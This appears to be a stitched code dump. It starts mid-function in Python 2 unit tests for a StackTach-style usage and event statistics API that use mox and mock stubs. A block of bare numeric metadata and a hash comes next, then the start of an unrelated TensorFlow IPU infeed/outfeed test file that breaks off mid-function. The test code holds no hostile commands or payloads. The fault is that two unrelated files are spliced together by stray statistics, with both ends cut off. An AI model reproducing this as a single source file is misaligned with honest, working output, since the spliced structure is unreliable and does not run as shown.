name='test new name', types=dict(test_type='whatzit'))]) body = json.dumps(body_dict) fake_request.body = body info_values = self.mox.CreateMockAnything() models.TenantInfo.objects.filter(tenant__in=mox.SameElementsAs(['test_old', 'test_new']))\ .AndReturn(info_values) info_values.values('tenant').AndReturn([dict(tenant='test_old')]) models.TenantInfo.objects.bulk_create(mox.And( Length(1), mox.IsA(list), mox.In(mox.And( mox.IsA(models.TenantInfo), mox.ContainsAttributeValue('tenant','test_new'), mox.ContainsAttributeValue('name', 'test new name'), mox.ContainsAttributeValue('last_updated', TEST_DATE) )))) fake_tenants = self.mox.CreateMockAnything() models.TenantInfo.objects.filter(tenant__in=mox.SameElementsAs(['test_old', 'test_new']))\ .AndReturn(fake_tenants) fake_tenants.update(last_updated=TEST_DATE) fake_tenants.__iter__().AndReturn(iter(TEST_OBJECTS)) models.TenantType.objects.all().AndReturn(TEST_TYPES) mock_query = self.mox.CreateMockAnything() TypeXref.objects.filter(tenantinfo_id__in=[]).AndReturn(mock_query) mock_query.delete() TypeXref.objects.bulk_create(mox.And( Length(2), mox.IsA(list), mox.In(mox.And( mox.IsA(TypeXref), mox.ContainsAttributeValue('tenantinfo_id', 1), mox.ContainsAttributeValue('tenanttype_id', 1))), mox.In(mox.And( mox.IsA(TypeXref), mox.ContainsAttributeValue('tenantinfo_id', 2), mox.ContainsAttributeValue('tenanttype_id', 2))), )) self.mox.ReplayAll() dbapi.batch_update_tenant_info(fake_request) self.mox.VerifyAll() def test_list_usage_launches_without_service(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} self.mox.StubOutWithMock(dbapi, 'get_db_objects') mock_objects = self.mox.CreateMockAnything() launches = {'a': 1} self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(mock_objects).AndReturn(launches) dbapi.get_db_objects(models.InstanceUsage, fake_request, 'launched_at').AndReturn(mock_objects) self.mox.ReplayAll() resp = dbapi.list_usage_launches(fake_request) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'launches': launches}) self.mox.VerifyAll() def test_list_usage_launches_for_glance(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} self.mox.StubOutWithMock(dbapi, 'get_db_objects') mock_objects = self.mox.CreateMockAnything() launches = {'a': 1} self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(mock_objects).AndReturn(launches) dbapi.get_db_objects(models.ImageUsage, fake_request, 'created_at').AndReturn(mock_objects) self.mox.ReplayAll() resp = dbapi.list_usage_images(fake_request) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'images': launches}) self.mox.VerifyAll() def test_list_usage_launches_for_nova(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} self.mox.StubOutWithMock(dbapi, 'get_db_objects') mock_objects = self.mox.CreateMockAnything() launches = {'a': 1} self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(mock_objects).AndReturn(launches) dbapi.get_db_objects(models.InstanceUsage, fake_request, 'launched_at').AndReturn(mock_objects) self.mox.ReplayAll() resp = dbapi.list_usage_launches(fake_request) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'launches': launches}) self.mox.VerifyAll() def test_get_usage_launch_with_no_service(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} launch = {'a': 1} self.mox.StubOutWithMock(dbapi, '_get_model_by_id') dbapi._get_model_by_id(models.InstanceUsage, 1).AndReturn(launch) self.mox.ReplayAll() resp = dbapi.get_usage_launch(fake_request, 1) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'launch': {'a': 1}}) self.mox.VerifyAll() def test_get_usage_launch_for_nova(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} launch = {'a': 1} self.mox.StubOutWithMock(dbapi, '_get_model_by_id') dbapi._get_model_by_id(models.InstanceUsage, 1).AndReturn(launch) self.mox.ReplayAll() resp = dbapi.get_usage_launch(fake_request, 1) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'launch': {'a': 1}}) self.mox.VerifyAll() def test_get_usage_launch_for_glance(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} launch = {'a': 1} self.mox.StubOutWithMock(dbapi, '_get_model_by_id') dbapi._get_model_by_id(models.ImageUsage, 1).AndReturn(launch) self.mox.ReplayAll() resp = dbapi.get_usage_image(fake_request, 1) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'launch': {'a': 1}}) self.mox.VerifyAll() def test_get_usage_delete_for_nova(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} delete = {'a': 1} self.mox.StubOutWithMock(dbapi, '_get_model_by_id') dbapi._get_model_by_id(models.InstanceDeletes, 1).AndReturn(delete) self.mox.ReplayAll() resp = dbapi.get_usage_delete(fake_request, 1) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'delete': {'a': 1}}) self.mox.VerifyAll() def test_get_usage_delete_for_glance(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} delete = {'a': 1} self.mox.StubOutWithMock(dbapi, '_get_model_by_id') dbapi._get_model_by_id(models.ImageDeletes, 1).AndReturn(delete) self.mox.ReplayAll() resp = dbapi.get_usage_delete_glance(fake_request, 1) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'delete': {'a': 1}}) self.mox.VerifyAll() def test_list_usage_deletes_with_no_service(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} self.mox.StubOutWithMock(dbapi, 'get_db_objects') mock_objects = self.mox.CreateMockAnything() deletes = {'a': 1} self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(mock_objects).AndReturn(deletes) dbapi.get_db_objects(models.InstanceDeletes, fake_request, 'launched_at').AndReturn(mock_objects) self.mox.ReplayAll() resp = dbapi.list_usage_deletes(fake_request) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'deletes': deletes}) self.mox.VerifyAll() def test_list_usage_deletes_for_nova(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} self.mox.StubOutWithMock(dbapi, 'get_db_objects') mock_objects = self.mox.CreateMockAnything() deletes = {'a': 1} self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(mock_objects).AndReturn(deletes) dbapi.get_db_objects(models.InstanceDeletes, fake_request, 'launched_at').AndReturn(mock_objects) self.mox.ReplayAll() resp = dbapi.list_usage_deletes(fake_request) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'deletes': deletes}) self.mox.VerifyAll() def test_list_usage_deletes_for_glance(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} self.mox.StubOutWithMock(dbapi, 'get_db_objects') mock_objects = self.mox.CreateMockAnything() deletes = {'a': 1} self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(mock_objects).AndReturn(deletes) dbapi.get_db_objects(models.ImageDeletes, fake_request, 'deleted_at').AndReturn(mock_objects) self.mox.ReplayAll() resp = dbapi.list_usage_deletes_glance(fake_request) self.assertEqual(resp.status_code, 200) self.assertEqual(json.loads(resp.content), {'deletes': deletes}) self.mox.VerifyAll() def test_get_usage_exist_stats_nova(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} query = self.mox.CreateMockAnything() models.InstanceExists.objects.filter().AndReturn(query) query.values('status', 'send_status').AndReturn(query) result = [ {'status': 'verified', 'send_status': 201L, 'event_count': 2}, {'status': 'failed', 'send_status': 0L, 'event_count': 1} ] query.annotate(event_count=mox.IsA(Count)).AndReturn(result) self.mox.ReplayAll() response = dbapi.get_usage_exist_stats(fake_request) self.assertEqual(response.status_code, 200) expected_response = json.dumps({'stats': result}) self.assertEqual(expected_response, response.content) self.mox.VerifyAll() def test_get_usage_exist_stats_nova_received_min(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' now = datetime.datetime.utcnow() fake_request.GET = {'received_min': str(now)} query = self.mox.CreateMockAnything() filters = {'raw__when__gte': utils.decimal_utc(now)} models.InstanceExists.objects.filter(**filters).AndReturn(query) query.values('status', 'send_status').AndReturn(query) result = [ {'status': 'verified', 'send_status': 201L, 'event_count': 2}, {'status': 'failed', 'send_status': 0L, 'event_count': 1} ] query.annotate(event_count=mox.IsA(Count)).AndReturn(result) self.mox.ReplayAll() response = dbapi.get_usage_exist_stats(fake_request) self.assertEqual(response.status_code, 200) expected_response = json.dumps({'stats': result}) self.assertEqual(expected_response, response.content) self.mox.VerifyAll() def test_get_usage_exist_stats_nova_received_max(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' now = datetime.datetime.utcnow() fake_request.GET = {'received_max': str(now)} query = self.mox.CreateMockAnything() filters = {'raw__when__lte': utils.decimal_utc(now)} models.InstanceExists.objects.filter(**filters).AndReturn(query) query.values('status', 'send_status').AndReturn(query) result = [ {'status': 'verified', 'send_status': 201L, 'event_count': 2}, {'status': 'failed', 'send_status': 0L, 'event_count': 1} ] query.annotate(event_count=mox.IsA(Count)).AndReturn(result) self.mox.ReplayAll() response = dbapi.get_usage_exist_stats(fake_request) self.assertEqual(response.status_code, 200) expected_response = json.dumps({'stats': result}) self.assertEqual(expected_response, response.content) self.mox.VerifyAll() def test_get_usage_exist_stats_nova_class_field_filter(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' now = datetime.datetime.utcnow() fake_request.GET = {'audit_period_ending_min': str(now)} query = self.mox.CreateMockAnything() models.InstanceExists._meta.get_field_by_name('audit_period_ending') filters = {'audit_period_ending__gte': utils.decimal_utc(now)} models.InstanceExists.objects.filter(**filters).AndReturn(query) query.values('status', 'send_status').AndReturn(query) result = [ {'status': 'verified', 'send_status': 201L, 'event_count': 2}, {'status': 'failed', 'send_status': 0L, 'event_count': 1} ] query.annotate(event_count=mox.IsA(Count)).AndReturn(result) self.mox.ReplayAll() response = dbapi.get_usage_exist_stats(fake_request) self.assertEqual(response.status_code, 200) expected_response = json.dumps({'stats': result}) self.assertEqual(expected_response, response.content) self.mox.VerifyAll() def test_get_usage_exist_stats_glance(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {} query = self.mox.CreateMockAnything() models.ImageExists.objects.filter().AndReturn(query) query.values('status', 'send_status').AndReturn(query) result = [ {'status': 'verified', 'send_status': 201L, 'event_count': 2}, {'status': 'failed', 'send_status': 0L, 'event_count': 1} ] query.annotate(event_count=mox.IsA(Count)).AndReturn(result) self.mox.ReplayAll() response = dbapi.get_usage_exist_stats_glance(fake_request) self.assertEqual(response.status_code, 200) expected_response = json.dumps({'stats': result}) self.assertEqual(expected_response, response.content) self.mox.VerifyAll() def test_get_usage_exist_stats_glance_received_min(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' now = datetime.datetime.utcnow() fake_request.GET = {'received_min': str(now)} query = self.mox.CreateMockAnything() filters = {'raw__when__gte': utils.decimal_utc(now)} models.ImageExists.objects.filter(**filters).AndReturn(query) query.values('status', 'send_status').AndReturn(query) result = [ {'status': 'verified', 'send_status': 201L, 'event_count': 2}, {'status': 'failed', 'send_status': 0L, 'event_count': 1} ] query.annotate(event_count=mox.IsA(Count)).AndReturn(result) self.mox.ReplayAll() response = dbapi.get_usage_exist_stats_glance(fake_request) self.assertEqual(response.status_code, 200) expected_response = json.dumps({'stats': result}) self.assertEqual(expected_response, response.content) self.mox.VerifyAll() def test_get_usage_exist_stats_glance_received_max(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' now = datetime.datetime.utcnow() fake_request.GET = {'received_max': str(now)} query = self.mox.CreateMockAnything() filters = {'raw__when__lte': utils.decimal_utc(now)} models.ImageExists.objects.filter(**filters).AndReturn(query) query.values('status', 'send_status').AndReturn(query) result = [ {'status': 'verified', 'send_status': 201L, 'event_count': 2}, {'status': 'failed', 'send_status': 0L, 'event_count': 1} ] query.annotate(event_count=mox.IsA(Count)).AndReturn(result) self.mox.ReplayAll() response = dbapi.get_usage_exist_stats_glance(fake_request) self.assertEqual(response.status_code, 200) expected_response = json.dumps({'stats': result}) self.assertEqual(expected_response, response.content) self.mox.VerifyAll() def test_get_usage_exist_stats_glance_class_field_filter(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' now = datetime.datetime.utcnow() fake_request.GET = {'audit_period_ending_min': str(now)} query = self.mox.CreateMockAnything() models.ImageExists._meta.get_field_by_name('audit_period_ending') filters = {'audit_period_ending__gte': utils.decimal_utc(now)} models.ImageExists.objects.filter(**filters).AndReturn(query) query.values('status', 'send_status').AndReturn(query) result = [ {'status': 'verified', 'send_status': 201L, 'event_count': 2}, {'status': 'failed', 'send_status': 0L, 'event_count': 1} ] query.annotate(event_count=mox.IsA(Count)).AndReturn(result) self.mox.ReplayAll() response = dbapi.get_usage_exist_stats_glance(fake_request) self.assertEqual(response.status_code, 200) expected_response = json.dumps({'stats': result}) self.assertEqual(expected_response, response.content) self.mox.VerifyAll() def test_get_event_stats(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {'service': "nova"} mock_query = self.mox.CreateMockAnything() models.RawData.objects.values('event').AndReturn(mock_query) events = [ {'event': 'compute.instance.exists.verified', 'event_count': 100}, {'event': 'compute.instance.exists', 'event_count': 100} ] mock_query.annotate(event_count=mox.IsA(Count)).AndReturn(events) self.mox.ReplayAll() response = dbapi.get_event_stats(fake_request) self.assertEqual(response.status_code, 200) self.assertEqual(response.content, json.dumps({'stats': events})) self.mox.VerifyAll() def test_get_event_stats_date_range(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' start = "2014-02-26 00:00:00" end = "2014-02-27 00:00:00" fake_request.GET = {'when_min': start, 'when_max': end, 'service': "nova"} mock_query = self.mox.CreateMockAnything() filters = { 'when__gte': stacktach_utils.str_time_to_unix(start), 'when__lte': stacktach_utils.str_time_to_unix(end) } models.RawData.objects.filter(**filters).AndReturn(mock_query) mock_query.values('event').AndReturn(mock_query) events = [ {'event': 'compute.instance.exists.verified', 'event_count': 100}, {'event': 'compute.instance.exists', 'event_count': 100} ] mock_query.annotate(event_count=mox.IsA(Count)).AndReturn(events) self.mox.ReplayAll() response = dbapi.get_event_stats(fake_request) self.assertEqual(response.status_code, 200) self.assertEqual(response.content, json.dumps({'stats': events})) self.mox.VerifyAll() def test_get_verified_count(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {'service': "nova", 'event': 'compute.instance.exists.verified'} mock_query = self.mox.CreateMockAnything() models.RawData.objects.values('event').AndReturn(mock_query) events = [ {'event': 'compute.instance.exists.verified', 'event_count': 100}, {'event': 'compute.instance.exists', 'event_count': 100} ] mock_query.annotate(event_count=mox.IsA(Count)).AndReturn(events) self.mox.ReplayAll() response = dbapi.get_event_stats(fake_request) self.assertEqual(response.status_code, 200) self.assertEqual(response.content, json.dumps({'stats': [events[0]]})) self.mox.VerifyAll() def test_get_verified_count_default(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {'service': "nova", 'event': 'compute.instance.exists.verified'} mock_query = self.mox.CreateMockAnything() models.RawData.objects.values('event').AndReturn(mock_query) events = [ {'event': 'compute.instance.create.start', 'event_count': 100}, {'event': 'compute.instance.exists', 'event_count': 100} ] mock_query.annotate(event_count=mox.IsA(Count)).AndReturn(events) self.mox.ReplayAll() response = dbapi.get_event_stats(fake_request) self.assertEqual(response.status_code, 200) self.assertEqual(response.content, json.dumps({'stats': [{'event': 'compute.instance.exists.verified', 'event_count': 0}]})) self.mox.VerifyAll() def test_get_verified_count_only_one_range_param_returns_400(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {'when_min': "2014-020-26", 'service': "nova"} self.mox.ReplayAll() response = dbapi.get_event_stats(fake_request) self.assertEqual(response.status_code, 400) self.assertEqual(json.loads(response.content)['message'], "When providing date range filters, " "a min and max are required.") self.mox.VerifyAll() def test_get_verified_count_only_large_date_range_returns_400(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {'when_min': "2014-2-26 00:00:00", 'when_max': "2014-3-5 00:00:01", # > 7 days later 'service': "nova"} self.mox.ReplayAll() response = dbapi.get_event_stats(fake_request) self.assertEqual(response.status_code, 400) self.assertEqual(json.loads(response.content)['message'], "Date ranges may be no larger than 604800 seconds") self.mox.VerifyAll() def test_get_verified_count_wrong_date_format_returns_400(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {'when_min': "2014-020-26", 'when_max': "2014-020-26", 'service': "nova"} self.mox.ReplayAll() response = dbapi.get_event_stats(fake_request) self.assertEqual(response.status_code, 400) self.assertEqual(json.loads(response.content)['message'], "Invalid format for date" " (Correct format should be %Y-%m-%d %H:%M:%S)") self.mox.VerifyAll() def test_get_verified_count_wrong_service_returns_400(self): fake_request = self.mox.CreateMockAnything() fake_request.method = 'GET' fake_request.GET = {'when_min': "2014-02-26 00:00:00", "when_max": "2014-02-27 00:00:00", 'service': "qonos"} self.mox.ReplayAll() response = dbapi.get_event_stats(fake_request) self.assertEqual(response.status_code, 400) self.assertEqual(json.loads(response.content)['message'], "Invalid service") self.mox.VerifyAll() class StacktachRepairScenarioApi(StacktachBaseTestCase): def setUp(self): self.mox = mox.Mox() def tearDown(self): self.mox.UnsetStubs() def test_change_nova_exists_status_for_all_exists(self): request = self.mox.CreateMockAnything() request.POST = self.mox.CreateMockAnything() message_ids = ["04fd94b5-64dd-4559-83b7-981d9d4f7a5a", "14fd94b5-64dd-4559-83b7-981d9d4f7a5a", "24fd94b5-64dd-4559-83b7-981d9d4f7a5a"] request.POST._iterlists().AndReturn([('service', ['nova']), ('message_ids', message_ids)]) self.mox.StubOutWithMock(models.InstanceExists, 'mark_exists_as_sent_unverified') models.InstanceExists.mark_exists_as_sent_unverified(message_ids).\ AndReturn([[], []]) self.mox.ReplayAll() response = dbapi.repair_stacktach_down(request) self.assertEqual(response.status_code, 200) response_data = json.loads(response.content) self.assertEqual(response_data['exists_not_pending'], []) self.assertEqual(response_data['absent_exists'], []) self.mox.VerifyAll() def test_change_glance_exists_status_for_all_exists(self): request = self.mox.CreateMockAnything() request.POST = self.mox.CreateMockAnything() message_ids = ['04fd94b5-64dd-4559-83b7-981d9d4f7a5a', '14fd94b5-64dd-4559-83b7-981d9d4f7a5a', '24fd94b5-64dd-4559-83b7-981d9d4f7a5a'] request.POST._iterlists().AndReturn([('service', ['glance']), ('message_ids', message_ids)]) self.mox.StubOutWithMock(models.ImageExists, 'mark_exists_as_sent_unverified') models.ImageExists.mark_exists_as_sent_unverified(message_ids).\ AndReturn([[], []]) self.mox.ReplayAll() response = dbapi.repair_stacktach_down(request) self.assertEqual(response.status_code, 200) response_data = json.loads(response.content) self.assertEqual(response_data['exists_not_pending'], []) self.assertEqual(response_data['absent_exists'], []) self.mox.VerifyAll() class TestExistsSendStatusBatch(unittest.TestCase): def test_no_messages(self): request = mock.MagicMock() request.body = "{}" self.assertRaises(dbapi.BadRequestException, dbapi._exists_send_status_batch, request) def test_version_0_no_messages(self): request = mock.MagicMock() body = {'messages': {}, 'version': 0} request.body = json.dumps(body) with mock.patch.object(dbapi, "_ping_processing_with_service") as p: dbapi._exists_send_status_batch(request) self.assertFalse(p.called) def test_version_0_messages(self): request = mock.MagicMock() body = {'messages': "some messages", 'version': 0} request.body = json.dumps(body) with mock.patch.object(dbapi, "_ping_processing_with_service") as p: dbapi._exists_send_status_batch(request) p.assert_called_once_with("some messages", "nova") def test_version_1_messages(self): request = mock.MagicMock() body = {'messages': {'nova': 'nova message', 'glance': 'glance message'}, 'version': 1} request.body = json.dumps(body) with mock.patch.object(dbapi, "_ping_processing_with_service") as p: dbapi._exists_send_status_batch(request) self.assertEqual(p.call_args_list, [ mock.call("nova message", "nova", 1), mock.call("glance message", "glance", 1)]) def test_version_2_messages(self): request = mock.MagicMock() body = {'messages': {'nova': 'nova message', 'glance': 'glance message'}, 'version': 2} request.body = json.dumps(body) with mock.patch.object(dbapi, "_ping_processing_with_service") as p: dbapi._exists_send_status_batch(request) self.assertEqual(p.call_args_list, [ mock.call("nova message", "nova", 2), mock.call("glance message", "glance", 2)]) def test_version_3_messages(self): request = mock.MagicMock() body = {'messages': {'nova': 'nova message', 'glance': 'glance message'}, 'version': 3} request.body = json.dumps(body) with mock.patch.object(dbapi, "_ping_processing_with_service") as p: dbapi._exists_send_status_batch(request) self.assertFalse(p.called) class TestExistsSendStatus(unittest.TestCase): def test_not_put_post(self): request = mock.MagicMock() request.method = "Foo" self.assertRaises(dbapi.BadRequestException, dbapi._undecorated_exists_send_status, request, None) def test_bad_body(self): request = mock.MagicMock() request.method = "PUT" request.body = None self.assertRaises(dbapi.BadRequestException, dbapi._undecorated_exists_send_status, request, None) request.body = "" self.assertRaises(dbapi.BadRequestException, dbapi._undecorated_exists_send_status, request, None) def test_batch(self): request = mock.MagicMock() request.method = "PUT" request.body = "body" with mock.patch.object(dbapi, "_exists_send_status_batch") as p: dbapi._undecorated_exists_send_status(request, "batch") self.assertTrue(p.called) def test_no_send_status(self): request = mock.MagicMock() request.method = "PUT" request.body = json.dumps({}) self.assertRaises(dbapi.BadRequestException, dbapi._undecorated_exists_send_status, request, "not batch") def test_does_not_exist(self): request = mock.MagicMock() request.method = "PUT" request.body = json.dumps({"send_status": "foo"}) with mock.patch("stacktach.models.InstanceExists.objects.select_for_update", side_effect=models.InstanceExists.DoesNotExist) as p: self.assertRaises(dbapi.NotFoundException, dbapi._undecorated_exists_send_status, request, "not batch") def test_multiple_results(self): request = mock.MagicMock() request.method = "PUT" request.body = json.dumps({"send_status": "foo"}) with mock.patch("stacktach.models.InstanceExists.objects.select_for_update", side_effect=models.InstanceExists.MultipleObjectsReturned) as p: self.assertRaises(dbapi.APIException, dbapi._undecorated_exists_send_status, request, "not batch")
43.04918
114
0.643526
5,885
52,520
5.457944
0.060663
0.057534
0.081725
0.051463
0.866905
0.846887
0.809153
0.788107
0.768773
0.757752
0
0.013417
0.243583
52,520
1,219
115
43.084495
0.795102
0.014604
0
0.685328
0
0
0.095235
0.018691
0
0
0
0
0.093629
0
null
null
0
0.017375
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
49497d8ba55568e8c616d2701e852709d2d81509
55,904
py
Python
tensorflow/python/ipu/tests/infeed_outfeed_test.py
DebeshJha/tensorflow-1
2b5a225c49d25273532d11c424d37ce394d7579a
[ "Apache-2.0" ]
2
2021-03-08T23:32:06.000Z
2022-01-13T03:43:49.000Z
tensorflow/python/ipu/tests/infeed_outfeed_test.py
DebeshJha/tensorflow-1
2b5a225c49d25273532d11c424d37ce394d7579a
[ "Apache-2.0" ]
null
null
null
tensorflow/python/ipu/tests/infeed_outfeed_test.py
DebeshJha/tensorflow-1
2b5a225c49d25273532d11c424d37ce394d7579a
[ "Apache-2.0" ]
null
null
null
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================= from threading import Thread import numpy as np from tensorflow.compiler.plugin.poplar.tests import test_utils as tu from tensorflow.python import ipu from tensorflow.python.client import session as session_lib from tensorflow.python.data.ops import dataset_ops from tensorflow.python.framework import constant_op from tensorflow.python.framework import errors from tensorflow.python.framework import errors_impl from tensorflow.python.framework import ops from tensorflow.python.framework import test_util from tensorflow.python.keras import layers from tensorflow.python.ops import array_ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import lookup_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables from tensorflow.python.platform import googletest from tensorflow.python.training import gradient_descent def next_feed_id(): result = 'feed' + str(next_feed_id.feed_count) next_feed_id.feed_count += 1 return result next_feed_id.feed_count = 0 class InfeedOutfeedTest(test_util.TensorFlowTestCase): @test_util.deprecated_graph_mode_only def testSingleInfeedRepeatNonTuple(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def body(v, x): v = v + x return v def my_net(v): r = ipu.loops.repeat(20, body, (v), infeed_queue) return r with ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[v]) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res, {v: np.ones([4, 4], np.float32)}) self.assertAllClose(result[0], np.broadcast_to(91, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedRepeatNonTupleFiniteDataset(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4], repeat=False) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def body(v, x): v = v + x return v def my_net(v): r = ipu.loops.repeat(10, body, (v), infeed_queue) return r with ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[v]) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res, {v: np.ones([4, 4], np.float32)}) self.assertAllClose(result[0], np.broadcast_to(46, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedRepeatTuple(self): dataset = tu.create_single_increasing_dataset(3, shape=[4, 4]) def dataset_parser(value): image_1 = value image_2 = (value + 10.) / 2.0 return (image_1, image_2) dataset = dataset.map(dataset_parser) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def body(v, im1, im2): v = v + im1 + im2 return v def my_net(): v = constant_op.constant(0.0, shape=[4, 4], dtype=np.float32) r = ipu.loops.repeat(5, body, [v], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res) self.assertAllClose(result[0], np.broadcast_to(31, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedRepeatTupleMerge(self): dataset = tu.create_single_increasing_dataset(3, shape=[4, 4]) def dataset_parser(value): image_1 = value image_2 = (value + 10.) / 2.0 return (image_1, image_2) dataset = dataset.map(dataset_parser) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def body(v, im1, im2): v = v + im1 + im2 return v def my_net(): v = constant_op.constant(0.0, shape=[4, 4], dtype=np.float32) r = ipu.loops.repeat(5, body, [v], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) with session_lib.Session() as sess: tu.ReportJSON(self, sess, merge_infeed_io_copies=True) sess.run(infeed_queue.initializer) result = sess.run(res) self.assertAllClose(result[0], np.broadcast_to(31, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedRepeatNamed(self): dataset = tu.create_single_increasing_dataset(3, shape=[4, 4]) def dataset_parser(value): image_1 = value image_2 = (value + 10.) / 2.0 return {"a": image_1, "b": image_2} dataset = dataset.map(dataset_parser) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) # Note how the parameters are swapped around. def body(v1, v2, b, a): v1 = v1 + a v2 = v2 + b return (v1, v2) def my_net(): v1 = constant_op.constant(0.0, shape=[4, 4], dtype=np.float32) v2 = constant_op.constant(0.0, shape=[4, 4], dtype=np.float32) r = ipu.loops.repeat(5, body, [v1, v2], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res) self.assertAllClose(result[0], np.broadcast_to(4, [4, 4])) self.assertAllClose(result[1], np.broadcast_to(27, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedMultipleRepeats(self): dataset = tu.create_single_increasing_dataset(2, shape=[4, 4]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def body(v, x): v = v + x return v def my_net(): v = constant_op.constant(0.0, shape=[4, 4], dtype=np.float32) r = ipu.loops.repeat(5, body, [v], infeed_queue) r = ipu.loops.repeat(5, body, [r], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res) self.assertAllClose(result[0], np.broadcast_to(5, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedWhileLoopNonTuple(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def cond(i, v): return i < 20 def body(i, v, x): v = v + x return (i + 1, v) def my_net(v): i = 0 r = ipu.loops.while_loop(cond, body, (i, v), infeed_queue) return r[1] with 